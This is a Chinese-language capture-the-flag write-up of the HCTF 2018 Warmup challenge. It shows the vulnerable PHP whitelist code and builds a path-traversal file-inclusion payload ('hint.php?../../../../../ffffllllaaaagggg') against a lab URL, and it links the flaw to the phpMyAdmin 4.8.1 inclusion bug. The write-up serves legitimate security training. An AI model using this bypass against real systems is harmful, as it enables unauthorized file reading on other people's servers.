HCTF 2018 Warmup
原題復現:https://gitee.com/xiaohua1998/hctf_2018_warmup
考察知識點:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用協會內部的CTF訓練平台找到此題
過程
訪問頁面查看源碼發現注釋里面的內容訪問它
訪問獲得index.php的源碼
payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php

1 <?php 2 highlight_file(__FILE__); 3 class emmm 4 { 5 public static function checkFile(&$page) 6 { 7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 8 if (! isset($page) || !is_string($page)) { 9 echo "you can't see it"; 10 return false; 11 } 12 13 if (in_array($page, $whitelist)) { 14 return true; 15 } 16 17 $_page = mb_substr( 18 $page, 19 0, 20 mb_strpos($page . '?', '?') 21 ); 22 if (in_array($_page, $whitelist)) { 23 return true; 24 } 25 26 $_page = urldecode($page); 27 $_page = mb_substr( 28 $_page, 29 0, 30 mb_strpos($_page . '?', '?') 31 ); 32 if (in_array($_page, $whitelist)) { 33 return true; 34 } 35 echo "you can't see it"; 36 return false; 37 } 38 } 39 40 if (! empty($_REQUEST['file']) 41 && is_string($_REQUEST['file']) 42 && emmm::checkFile($_REQUEST['file']) 43 ) { 44 include $_REQUEST['file']; 45 exit; 46 } else { 47 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; 48 } 49 ?>
PHP邏輯運算符
&&邏輯與
||邏輯或運算符
!empty($_REQUEST['file'])要我們的file變量不為空我們先進行分析這段代碼 首先看80行第一個要求
is_string($_REQUEST['file'])要求我們傳進來的值是字符串類型
emmm::checkFile($_REQUEST['file'])這里將我們的的值傳到emmm類里面的checkFile函數
這三個值通過&&邏輯與運算符連接也就是要求這塊函數的返回值要全為真才能執行if里面的文件包含的代碼 否則就執行else里面的圖片代碼
先來熟悉幾個函數
//mb_strpos():返回要查找的字符串在別一個字符串中首次出現的位置
// mb_strpos (haystack ,needle )
// haystack:要被檢查的字符串。
// needle:要搜索的字符串
//mb_substr() 函數返回字符串的一部分。
//str 必需。從該 string 中提取子字符串。
//start 必需。規定在字符串的何處開始。
//ength 可選。規定要返回的字符串長度。默認是直到字符串的結尾。
emmm類分析
從代碼中發現新的頁面hint訪問獲得flag文件名
payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php
總的來說這個cehckFile這個函數進行了 3次白名單檢測、 2次問好過濾、一次URL解碼
1 class emmm 2 { 3 public static function checkFile(&$page) 4 5 { 6 //白名單列表 7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 8 //isset()判斷變量是否聲明is_string()判斷變量是否是字符串 &&用了邏輯與兩個值都為真才執行if里面的值 9 if (! isset($page) || !is_string($page)) { 10 echo "you can't see it A"; 11 return false; 12 } 13 //檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真 14 if (in_array($page, $whitelist)) { 15 return true; 16 } 17 //過濾問號的函數(如果$page的值有?則從?之前提取字符串) 18 $_page = mb_substr( 19 $page, 20 0, 21 mb_strpos($page . '?', '?')//返回$page.?里賣弄?號出現的第一個位置 22 ); 23 24 //第二次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真 25 if (in_array($_page, $whitelist)) { 26 return true; 27 } 28 //url對$page解碼 29 $_page = urldecode($page); 30 31 //第二次過濾問號的函數(如果$page的值有?則從?之前提取字符串) 32 $_page = mb_substr( 33 $_page, 34 0, 35 mb_strpos($_page . '?', '?') 36 ); 37 //第三次檢測傳進來的值是否匹配白名單列表$whitelist 如果有則執行真 38 if (in_array($_page, $whitelist)) { 39 return true; 40 } 41 echo "you can't see it"; 42 return false; 43 } 44 }
我們現在可以構造獲取flag的語句
hint.php?../../../../../ffffllllaaaagggg 我們可以想象他傳入checkFile函數要經歷 第一次白名單驗證 一次?過濾后他就是hint.php 再進行一次白名單驗證 返回為真 則達成條件進行包含得到flag
最終payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg